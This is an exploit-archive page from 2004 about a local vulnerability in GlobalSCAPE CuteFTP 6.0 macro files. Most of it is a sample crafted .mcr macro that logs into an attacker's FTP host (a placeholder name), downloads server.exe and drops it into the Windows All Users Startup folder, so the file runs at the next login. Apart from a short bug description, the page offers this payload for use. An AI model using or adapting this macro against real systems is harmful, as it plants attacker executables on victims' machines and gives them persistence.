GlobalSCAPE - CuteFTP macros (*.mcr) Local Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : GlobalSCAPE - CuteFTP macros (*.mcr) Local Vulnerability
# Published : 2004-09-28
# Author : ATmaCA
# Previous Title : WinRAR 1.0 Local Buffer Overflow Exploit
# Next Title : GNU Sharutils <= 4.2.1 Local Format String PoC Exploit

Application:  GlobalSCAPE CuteFTP V6.0
             http://www.globalscape.com/

Risk:         Medium

/*
e-mail: atmaca@prohack.net
web: http://www.prohack.net
*/

--The bug:

Atacker can create a crafted CuteFTP macro (*.mcr),
and when its loaded in the target computer, it can download the Arbitrary file
into the target users startup folder.

----example *.mcr macro----

Host FTP_HOST_HERE
Login Normal
User FTP_USER_HERE
Pass FTP_PASS_HERE
Connect
RemoteSelect server.exe
Download
LocalCwd C:Documents and SettingsAll UsersStart MenuProgramsStartup


# www.Syue.com [2004-09-28]